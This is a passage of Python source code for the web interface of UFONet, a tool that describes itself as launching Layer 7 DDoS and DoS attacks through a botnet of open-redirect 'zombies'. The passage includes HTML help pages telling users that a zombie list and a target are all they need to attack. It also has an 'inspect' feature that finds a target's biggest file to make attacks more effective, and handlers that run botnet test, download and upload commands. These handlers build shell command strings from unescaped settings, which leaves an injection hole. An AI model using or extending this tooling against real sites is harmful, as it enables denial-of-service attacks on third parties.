20.45-1.3 4.6 1 9.14 2.4 13.22 4.8 6.88 3.8 13.17 8.8 18 15.1 5.48 6.8 9.22 15 11.5 23.5 2.33 8.3 2.72 17.1 1.42 25.7-1.1 5.8-2.8 11.6-5 17.2-2.3 4.9-4.4 9.9-7.7 14.2-3.7 5.8-8.5 10.9-13.4 15.7-6.5 5.9-13.7 11.1-21.7 14.6 11.3-1.6 21.8-6.6 31.5-12.3 6.1-4 12.1-8.2 17.1-13.5 3.2-3.3 6.5-6.6 9-10.6 8.4-11.4 12.1-25.6 13.2-39.6.7-11.8-1.1-23.7-5.7-34.6-1.5-4.2-3.8-7.9-6.1-11.7-3.6-5.3-8.2-9.8-13.3-13.6-8.8-6.6-19.4-11.1-30.4-11.8-7-.3-14.1.1-20.6 2.7zM14.72 149.7c-3.75 4.77-6.46 10.27-8.6 15.93-.83 2.9-1.47 5.84-1.9 8.84-.47 6.44.07 13 1.9 19.22.97 4.5 2.9 8.7 4.74 13 3.37 7.5 8 14.4 13 21 3.7 4.7 7.1 9.6 11.3 14-1.26-6.2-.98-12.6-.64-18.8.73-6.2 1.28-12.3 2.1-18.4-.8-1.4-1.47-2.9-2.26-4.3-3.8-6.9-6.1-14.5-8.17-22.1-3-13.5-4.6-27.7-.7-41.1-3.8 4.1-7.5 8.2-10.8 12.6zm13.54-6.85c-1.73 10.1-.92 20.44 1.1 30.43.76 4.8 2.33 9.43 3.88 14.04 1.3 4.08 3.1 8 5.14 11.78 1.93 3.86 4.23 7.54 6.88 10.94 2.65 3.38 5.38 6.78 8.75 9.5 4.5 4.14 9.7 7.34 14.9 10.4 6.5 3.4 13.4 6.32 20.5 8 9 2.28 18.5 2.58 27.7 1.55 14.8-1.9 28.4-10 38-21.2 4.7-5.9 8.5-12.6 10.5-19.9.9-3.4 1.9-6.8 2-10.3.5-8.3-1.3-16.9-6.1-23.7-1.8-2.5-4.1-4.7-6.4-6.8 3 7.9 2.3 16.8-.8 24.6-2.6 6.6-6.8 12.6-12.2 17.2-6.3 5.8-14 10-22.2 12.5-9.4 2.7-19.3 3.1-29 1.8-8.7-1.4-17.2-4.7-24.5-9.7-5-3-9.3-6.9-13.6-10.9-2.6-2.4-4.7-5.3-6.9-8.1-4-5.1-7.2-10.8-10-16.6-3.7-8.2-6.6-16.9-7.2-25.9zm132.3 4.64c-1.82.7-3.38 1.9-5.16 2.7 7.64-.3 15.3 2.2 21.33 6.8 6.1 4.5 11.16 10.6 14.2 17.6 4.07 8.8 5.94 18.7 5.28 28.3-.4 6.2-1.7 12.4-3.9 18.3-3.3 9.6-9.1 18.4-16.8 25.1-2.3 1.8-4.5 3.8-6.9 5.5-3.4 2.6-7.2 4.7-11.1 6.7-3.6 1.9-7.6 3.2-11.5 4.6-4.5 1.6-9.2 2.3-13.9 3.3-9.7 1.2-19.8 1.6-29.4-.7 4.8 2.3 9.8 4.5 15 5.6 5.1 1.5 10.4 2.1 15.7 2.8 4.6.6 9.1.3 13.7.4 3.9-.1 7.8-.5 11.7-1.2 11-1.6 21.6-5.9 30.5-12.4 8.2-6.2 15.7-13.4 21.2-22.1 2.2-3 4-6.3 5.4-9.6 2.2-4.5 3.9-9.2 5.1-14 3.2-11.2 2.5-23.2-1.3-34.1-2.6-7.7-6.6-15-12.2-21-3.4-3.9-7.7-7-12.1-9.8-5.7-3.6-12.3-5.7-19-6.1-5.2-.4-10.6.4-15.3 2.6zm129.7 9.9c-2.84 4-5.83 7.9-9.27 11.3-3.1 3.4-6.2 6.8-9.4 10.1-.7 5-1.3 10.1-2.8 14.9-1.1 3.8-2.3 7.5-3.7 11.2-5.5 13-12.8 25.8-24 34.8 10-2 20.3-4.1 29-9.7 1.2-1 2.6-1.5 3.8-2.5 4.1-3.3 7.9-7 10.5-11.5 2.8-4 4.6-8.6 6.3-13.1 1.3-3.6 2.1-7.4 2.9-11.1 1.8-8.4 2.1-17.1 1.8-25.7-.2-5.7-.2-11.4-.9-17-1.3 2.8-2.8 5.3-4.6 7.8zM156.52 154c4.95 3.47 8.94 8.3 11.4 13.83 3.12 6.8 4 14.43 3.48 21.83-1.44 13.15-7.4 25.8-16.85 35.1-9.68 9.65-22.27 16.56-35.88 18.52-7.6.88-15.28 1.1-22.84-.1-10.06-1.3-19.66-4.92-28.62-9.6-8.1-4.62-15.9-10.03-21.9-17.25 1.4 2.45 2.7 4.9 4.3 7.27 2.2 3.56 5 6.66 7.6 9.87 4.9 4.86 9.6 9.85 15.3 13.77 3.8 2.85 7.7 5.4 12 7.5 6.9 3.9 14.5 6.45 22.3 8 8.1 1.36 16.4 1.02 24.6-.04 4.7-.94 9.5-1.67 14.1-3.37 2.8-1.06 5.7-1.9 8.4-3.2 5-2.45 9.9-5.2 14.2-8.65 3.6-2.85 7.2-5.75 10.2-9.34 5.1-5.66 8.7-12.6 11.1-19.82 4.1-11.75 4.5-24.88.3-36.66-1.7-5.04-4.1-9.94-7.5-14.07-4.9-6.1-11.5-11.1-19.3-12.7-2-.5-4-.5-6-.8zM38.6 222.92c-.52 7.4-.64 14.98 1.48 22.1.48 2.9 1.76 5.58 2.94 8.2 1.5 3.5 3.8 6.67 6.26 9.5 1.53 2.1 3.37 3.9 5.3 5.6 6.64 6.05 14.46 10.64 22.63 14.25 6.9 3.1 14.3 5.05 21.5 7.27 3.4.9 6.7 1.98 10.1 2.44-8.9-8.68-14.3-20.1-20.5-30.7-1.5-1.25-3.5-1.65-5.1-2.73-6.7-3.35-12.8-7.7-18.6-12.47-3.7-3.42-7.4-6.9-10.9-10.65-2-2.52-4.2-4.95-6.1-7.6-3.1-4.73-6.1-9.63-7.9-15.04-.2 3.3-.5 6.5-.9 9.8zm197.07 22.2c-.88.27-2 .1-2.65.88-9.54 10.73-21.72 18.87-34.78 24.68-4.43 1.77-8.87 3.65-13.58 4.58-3.9 1-7.87 1.62-11.9 1.7 4.5 1.87 8.86 4.1 13.48 5.7 8.42 3.15 17.62 4.82 26.57 3.33 3.4-.4 6.6-1.5 9.7-2.8 5.4-2 10.2-5.2 14.8-8.4 5.2-4.1 10-8.6 14.3-13.6 2.9-3.2 5.2-6.7 7.7-10.1 3.4-5.2 7.3-10 10.1-15.6-10.4 5.5-22.2 7.2-33.6 9.5zm-139.84 21.7c1.46 2.1 2.56 4.4 3.9 6.6 4.12 7.04 8.87 13.9 15.4 18.95 2.2 2.23 5.06 3.62 7.75 5.17 2.48 1.45 5.24 2.33 8 3.12 3.98 1.12 8.06 1.98 12.2 2.08 13.36.87 26.72-1.92 39.2-6.56 5.36-1.96 10.87-3.54 15.97-6.17-6.35-.8-12.46-2.9-18.38-5.4-5.4-2.5-10.94-4.7-16.25-7.4-2.26.3-4.5.7-6.73 1.2-7.2 1.1-14.4 1-21.5.7-6.2-.7-12.3-1.4-18.3-3-7.6-1.8-14.8-4.8-21.4-9.1z"/>
  1620. </defs>
  1621. <g fill="none" fill-rule="evenodd"><g><g>
  1622. <mask id="b" fill="#fff"><use xlink:href="#a"/></mask>
  1623. <use fill="red" fill-rule="nonzero" xlink:href="#a"/>
  1624. <g mask="url(#b)"><g transform="translate(-1 -4)">
  1625. <mask id="d" fill="#fff"><use xlink:href="#c"/></mask>
  1626. <use fill="red" fill-rule="nonzero" xlink:href="#c"/>
  1627. <g mask="url(#d)"><a href="https://qfufhe2zeap6b6kl.onion/" target="_blank"><circle class="masking" cx="155" cy="159" r="188" fill="black"/></a></g>
  1628. </g></g></g></g></g>
  1629. </svg></div>
  1630. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  1631. <div class="nb" id="nb1" style="display: none;">
  1632. <b>UFONet</b> - is a tool designed to launch <a href="https://en.wikipedia.org/wiki/Application_layer" target="_blank">Layer 7</a> (HTTP/Web Abuse) <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> & <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.
  1633. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  1634. - <a href="http://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  1635. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  1636. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  1637. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  1638. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  1639. This feature can be used <u>ONLY</u> if you have cloned UFONet from <u>GitHub</u>.
  1640. git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></div><div>
  1641. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Problems?</a></div><div class="nb" id="nb5" style="display: none;">
  1642. If you have problems with UFONet, try to solve them following next links:
  1643. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  1644. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub issues</a></div>
  1645. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can I help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  1646. - Coding; you can try to develop more features
  1647. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  1648. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  1649. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  1650. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  1651. </div>
  1652. </td>
  1653. </tr></table>
  1654. </td>
  1655. </tr>
  1656. </table>
  1657. """ + self.pages["/footer"]
  1658. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  1659. function Requests() {
  1660. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1661. }
  1662. function Abduction() {
  1663. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1664. }
  1665. function Start(){
  1666. target=document.getElementById("target").value
  1667. String.prototype.startsWith = function(prefix){
  1668. return this.indexOf(prefix) === 0;
  1669. }
  1670. if(target.startsWith("http")){
  1671. params="target="+escape(target)
  1672. }else{
  1673. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  1674. return
  1675. }
  1676. runCommandX("cmd_inspect",params)
  1677. }
  1678. </script>
  1679. <script>loadXMLDoc()</script>
  1680. </head>
  1681. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1682. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1683. <center>
  1684. <table cellpadding="38" cellspacing="38">
  1685. <tr>
  1686. <td>
  1687. <div class="ringMenu">
  1688. <ul>
  1689. <li class="main"><a href="inspect">Inspect</a></li>
  1690. <li class="top"><a href="help">Help</a></li>
  1691. <li class="right"><a href="botnet">Botnet</a></li>
  1692. <li class="bottom"><a href="attack">Attack</a></li>
  1693. <li class="left"><a href="gui">RETURN</a></li>
  1694. </ul>
  1695. </div>
  1696. </td>
  1697. <td>
  1698. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1699. <tr>
  1700. <td>
  1701. <pre>
  1702. This feature will provide you the biggest file on target.
  1703. You can use this before to attack to be more effective.
  1704. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1705. <hr>
  1706. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  1707. <hr>
  1708. <button title="Start to crawl your target to discover big files..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  1709. </td><td><img src="/images/aliens/alien7.png" onclick="Abduction()"></td>
  1710. </tr></table>
  1711. </td>
  1712. </tr>
  1713. </table>
  1714. <hr>
  1715. <div id="cmdOut"></div>
  1716. """ + self.pages["/footer"]
  1717. self.pages["/lib.js"] = """function loadXMLDoc() {
  1718. var xmlhttp;
  1719. if (window.XMLHttpRequest) {
  1720. // code for IE7+, Firefox, Chrome, Opera, Safari
  1721. xmlhttp = new XMLHttpRequest();
  1722. } else {
  1723. // code for IE6, IE5
  1724. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  1725. }
  1726. xmlhttp.onreadystatechange = function() {
  1727. if (xmlhttp.readyState == 4 ) {
  1728. if(xmlhttp.status == 200){
  1729. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  1730. setTimeout("loadXMLDoc()", 3000);
  1731. }
  1732. }
  1733. }
  1734. xmlhttp.send();
  1735. }
  1736. function runCommandX(cmd,params) {
  1737. var xmlhttp;
  1738. if (window.XMLHttpRequest) {
  1739. // code for IE7+, Firefox, Chrome, Opera, Safari
  1740. xmlhttp = new XMLHttpRequest();
  1741. } else {
  1742. // code for IE6, IE5
  1743. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  1744. }
  1745. xmlhttp.onreadystatechange = function() {
  1746. if (xmlhttp.readyState == 4 ) {
  1747. if(xmlhttp.status == 200){
  1748. if(cmd.indexOf("?")!=-1){
  1749. s=cmd.split("?")
  1750. cmd=s[0]
  1751. params=s[1]
  1752. }
  1753. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  1754. //document.getElementById("cmdOut").scrollIntoView();
  1755. newcmd=cmd
  1756. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
  1757. return;
  1758. } else {
  1759. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  1760. //do not refresh if certain text on response is found
  1761. if(newcmd.match(/update/) &&
  1762. (
  1763. xmlhttp.responseText.match(/Botnet updated/) ||
  1764. xmlhttp.responseText.match(/Biggest File/) ||
  1765. xmlhttp.responseText.match(/Abduction finished/) ||
  1766. xmlhttp.responseText.match(/Not any zombie active/) ||
  1767. xmlhttp.responseText.match(/Your target looks OFFLINE/) ||
  1768. xmlhttp.responseText.match(/Unable to connect to target/) ||
  1769. xmlhttp.responseText.match(/Something wrong/) ||
  1770. xmlhttp.responseText.match(/Target url not valid/) ||
  1771. xmlhttp.responseText.match(/Attack completed/) ||
  1772. xmlhttp.responseText.match(/You are updated/) ||
  1773. xmlhttp.responseText.match(/For HELP use:/) ||
  1774. xmlhttp.responseText.match(/Not any .git repository found/) ||
  1775. xmlhttp.responseText.match(/End of /) ||
  1776. xmlhttp.responseText.match(/Exiting /) ||
  1777. xmlhttp.responseText.match(/Bye/)
  1778. )
  1779. ) return;
  1780. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  1781. return;}
  1782. }
  1783. }
  1784. }
  1785. if(typeof params != "undefined") cmd=cmd+"?"+params
  1786. xmlhttp.open("GET", cmd, true);
  1787. xmlhttp.send();
  1788. }
  1789. """
  1790. self.pages["/requests"] = self.html_requests()
  1791. self.pages["/board_profile"] = self.html_board_profile()
  1792. self.pages["/grid_profile"] = self.html_grid_profile()
  1793. def buildGetParams(self, request):
  1794. params = {}
  1795. path = re.findall("^GET ([^\s]+)", request)
  1796. if path:
  1797. path = path[0]
  1798. start = path.find("?")
  1799. if start != -1:
  1800. if path[start+1:start+7] == "zombie":
  1801. params['zombie']=path[start+8:]
  1802. return params
  1803. if path[start+1:start+7] == "target":
  1804. params['target']=path[start+8:]
  1805. return params
  1806. for param in path[start+1:].split("&"):
  1807. f = param.split("=")
  1808. if len(f) == 2:
  1809. var = f[0]
  1810. value = f[1]
  1811. value = value.replace("+", " ")
  1812. value = urllib.unquote(value)
  1813. params[var] = value
  1814. return params
  1815. def save_profile(self,pGet):
  1816. # set values for profile configuration from html form to json file
  1817. if "profile_token" in pGet.keys():
  1818. profile_token = pGet["profile_token"]
  1819. else:
  1820. profile_token = self.profile_token
  1821. if "profile_icon" in pGet.keys():
  1822. profile_icon = pGet["profile_icon"]
  1823. else:
  1824. profile_icon = self.profile_icon
  1825. if "profile_nick" in pGet.keys():
  1826. profile_nick = pGet["profile_nick"]
  1827. else:
  1828. profile_nick = self.profile_nick
  1829. # set new values on boardcfg json file
  1830. with open(self.mothership_boardcfg_file, "w") as f:
  1831. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  1832. def save_grid(self,pGet):
  1833. # set values for profile configuration from html form to json file
  1834. if "grid_token" in pGet.keys():
  1835. grid_token = pGet["grid_token"]
  1836. else:
  1837. grid_token = self.grid_token
  1838. if "grid_contact" in pGet.keys():
  1839. grid_contact = pGet["grid_contact"]
  1840. else:
  1841. grid_contact = self.grid_contact
  1842. if "grid_nick" in pGet.keys():
  1843. grid_nick = pGet["grid_nick"]
  1844. else:
  1845. grid_nick = self.grid_nick
  1846. # set new values on gridcfg json file
  1847. with open(self.mothership_gridcfg_file, "w") as f:
  1848. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  1849. def save_cfg(self,pGet):
  1850. # set values for requests configuration from html form to json file
  1851. if "rproxy" in pGet.keys():
  1852. frm_rproxy = pGet["rproxy"]
  1853. else:
  1854. frm_rproxy = self.rproxy
  1855. if "ruseragent" in pGet.keys():
  1856. frm_ruseragent = pGet["ruseragent"]
  1857. else:
  1858. frm_ruseragent = self.ruseragent
  1859. if "rreferer" in pGet.keys():
  1860. frm_rreferer = pGet["rreferer"]
  1861. else:
  1862. frm_rreferer = self.rreferer
  1863. if "rhost" in pGet.keys():
  1864. frm_rhost = pGet["rhost"]
  1865. else:
  1866. frm_rhost = self.rhost
  1867. if "rxforw" in pGet.keys():
  1868. frm_rxforw = pGet["rxforw"]
  1869. else:
  1870. if "update" in pGet.keys():
  1871. frm_rxforw = ""
  1872. else:
  1873. frm_rxforw = self.rxforw
  1874. if "rxclient" in pGet.keys():
  1875. frm_rxclient = pGet["rxclient"]
  1876. else:
  1877. if "update" in pGet.keys():
  1878. frm_rxclient = ""
  1879. else:
  1880. frm_rxclient = self.rxclient
  1881. if "rtimeout" in pGet.keys():
  1882. frm_rtimeout = pGet["rtimeout"]
  1883. else:
  1884. frm_rtimeout = self.rtimeout
  1885. if "rretries" in pGet.keys():
  1886. frm_rretries = pGet["rretries"]
  1887. else:
  1888. frm_rretries = self.rretries
  1889. if "rdelay" in pGet.keys():
  1890. frm_rdelay = pGet["rdelay"]
  1891. else:
  1892. frm_rdelay = self.rdelay
  1893. if "threads" in pGet.keys():
  1894. frm_threads = pGet["threads"]
  1895. else:
  1896. frm_threads = self.threads
  1897. # set new values on webcfg json file
  1898. with open(self.mothership_webcfg_file, "w") as f:
  1899. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads}, f, indent=4)
  1900. def get(self, request):
  1901. # set request options of the user
  1902. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  1903. if self.rxforw == "on":
  1904. cmd_options = cmd_options + " --xforw"
  1905. if self.rxclient == "on":
  1906. cmd_options = cmd_options + " --xclient"
  1907. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  1908. runcmd = ""
  1909. res = re.findall("^GET ([^\s]+)", request)
  1910. if res is None or len(res)==0:
  1911. return
  1912. pGet = {}
  1913. page = res[0]
  1914. paramStart = page.find("?")
  1915. if paramStart != -1:
  1916. page = page[:paramStart]
  1917. pGet = self.buildGetParams(request)
  1918. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  1919. if os.path.exists("core/"+page[1:]):
  1920. f=open("core/"+page[1:])
  1921. self.pages[page]=f.read()
  1922. elif page == "/js/ajax.js":
  1923. from ajaxmap import AjaxMap
  1924. self.pages[page] = AjaxMap().ajax(pGet)
  1925. if page == "/cmd_check_tool":
  1926. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  1927. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  1928. if page == "/cmd_check_tool_update":
  1929. if not os.path.exists('/tmp/out'):
  1930. open('/tmp/out', 'w').close()
  1931. with open('/tmp/out', 'r') as f:
  1932. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  1933. if page == "/cmd_list_army":
  1934. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  1935. if page == "/cmd_list_zombies":
  1936. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  1937. if page == "/cmd_list_aliens":
  1938. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  1939. if page == "/cmd_list_droids":
  1940. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  1941. if page == "/cmd_list_ucavs":
  1942. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  1943. if page == "/cmd_list_rpcs":
  1944. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  1945. if page == "/cmd_view_army":
  1946. if pGet=={}:
  1947. self.pages["/cmd_view_army"] = self.html_army_map()
  1948. if page == "/cmd_view_attack":
  1949. if 'target' in pGet.keys() != None:
  1950. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  1951. if page == "/cmd_test_army":
  1952. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  1953. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  1954. if page == "/cmd_test_all":
  1955. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  1956. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  1957. if page == "/cmd_test_offline":
  1958. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  1959. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  1960. if page == "/cmd_attack_me":
  1961. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  1962. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  1963. if page == "/cmd_attack_me_update":
  1964. if not os.path.exists('/tmp/out'):
  1965. open('/tmp/out', 'w').close()
  1966. with open('/tmp/out', 'r') as f:
  1967. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  1968. if page == "/cmd_download_community":
  1969. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  1970. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  1971. if page == "/cmd_download_community_update":
  1972. if not os.path.exists('/tmp/out'):
  1973. open('/tmp/out', 'w').close()
  1974. with open('/tmp/out', 'r') as f:
  1975. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  1976. if page == "/cmd_upload_community":
  1977. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  1978. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  1979. if page == "/cmd_upload_community_update":
  1980. if not os.path.exists('/tmp/out'):
  1981. open('/tmp/out', 'w').close()
  1982. with open('/tmp/out', 'r') as f:
  1983. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  1984. if page == "/cmd_test_army_update":
  1985. if not os.path.exists('/tmp/out'):
  1986. open('/tmp/out', 'w').close()
  1987. with open('/tmp/out', 'r') as f:
  1988. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  1989. if page == "/cmd_test_all_update":
